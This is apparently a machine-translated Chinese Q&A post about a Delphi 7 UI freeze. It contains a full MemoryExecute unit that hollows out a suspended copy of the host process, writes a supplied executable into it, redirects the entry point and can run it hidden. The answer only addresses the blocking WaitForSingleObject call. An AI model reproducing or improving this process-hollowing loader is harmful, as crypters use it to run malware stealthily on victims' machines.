Memory 如何避免应用程序在内存中冻结执行功能?

Memory 如何避免应用程序在内存中冻结执行功能?,memory,delphi-7,Memory,Delphi 7,如何避免应用程序在内存中冻结执行功能? 在我将资源发送到内存后,当我运行此代码时,内存中的exe将成功运行,但UI窗体将冻结,直到进程关闭 这是我的密码: unit pe; interface uses Windows; //type // TByteArray = array of Byte; Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformatio

如何避免应用程序在内存中冻结执行功能?
在我将资源发送到内存后,当我运行此代码时,内存中的exe将成功运行,但UI窗体将冻结,直到进程关闭

这是我的密码:

unit pe;

interface

uses Windows;

//type
//  TByteArray = array of Byte;

Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;


implementation


Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
  HANDLE        = THandle;
  PVOID         = Pointer;
  LPVOID        = Pointer;
  SIZE_T        = Cardinal;
  ULONG_PTR     = Cardinal;
  NTSTATUS      = LongInt;
  LONG_PTR      = Integer;

  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection  :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
  ProcessInfo           :TProcessInformation;
  StartupInfo           :TStartupInfo;
  Context               :TContext;
  BaseAddress           :Pointer;
  BytesRead             :DWORD;
  BytesWritten          :DWORD;
  I                     :ULONG;
  OldProtect            :ULONG;
  NTHeaders             :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success               :Boolean;
  ProcessName           :string;

Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
  Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
                                 NTHeader.FileHeader.SizeOfOptionalHeader);

End;

Function Protect(Characteristics: ULONG): ULONG;
Const
  Mapping       :Array[0..7] Of ULONG = (
                 PAGE_NOACCESS,
                 PAGE_EXECUTE,
                 PAGE_READONLY,
                 PAGE_EXECUTE_READ,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE  );
Begin
  Result := Mapping[ Characteristics SHR 29 ];

End;
Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);

  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);

  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
    StartupInfo.wShowWindow := SW_NORMAL
  else
    StartupInfo.wShowWindow := SW_Hide;

  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
                    False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;

    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
         (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
         (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
         (Assigned(Buffer))) Then
         Begin

           NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
           BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                          Pointer(NTHeaders.OptionalHeader.ImageBase),
                                          NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                          PAGE_READWRITE);

           If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
              Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));
                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do


                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                         Pointer(Cardinal(BaseAddress) +
                                                 Sections[I].VirtualAddress),
                                         Pointer(Cardinal(Buffer) +
                                                 Sections[I].PointerToRawData),
                                         Sections[I].SizeOfRawData, BytesWritten)) Then
                     VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[I].VirtualAddress),
                                      Sections[I].Misc.VirtualSize,
                                      Protect(Sections[I].Characteristics),
                                      OldProtect);



                If (WriteProcessMemory(ProcessInfo.hProcess,
                                       Pointer(Context.Ebx + 8), @BaseAddress,
                                       SizeOf(BaseAddress), BytesWritten)) Then
                   Begin
                     Context.EAX := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;

                     Success := SetThreadContext(ProcessInfo.hThread, Context);
                   End;
              End;
         End;
    Finally

      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);


        WaitForSingleObject(ProcessInfo.hProcess,INFINITE) ;

      //  GetExitCodeProcess(ProcessInfo.hProcess, Result);

    End;
  End;
End;

end.

您的代码冻结,因为它正在调用
WaitForSingleObject()
以等待生成的进程退出,并且在等待过程中,它没有为新消息抽取调用线程的消息队列。要避免这种情况,您有三种选择:

  • 别再等了

  • 停止在主线程中调用此代码。将其移动到工作线程

  • 调用
    WaitForSingleObject()
    ,在周期性抽取消息队列的循环中使用非无限超时。如果将
    WaitForSingleObject()
    替换为
    MsgWaitForMultipleObjects()
    ,它可以告诉您何时有新消息正在等待,因此在无需处理的情况下,您无需泵送队列

  • 就我个人而言,我会选择#1,特别是因为函数返回一个描述派生进程的
    TProcessInformation
    ,所以让调用方决定如何处理该进程。如果调用方希望等待,它将拥有进程的句柄来等待。如果调用方不想等待,则不必等待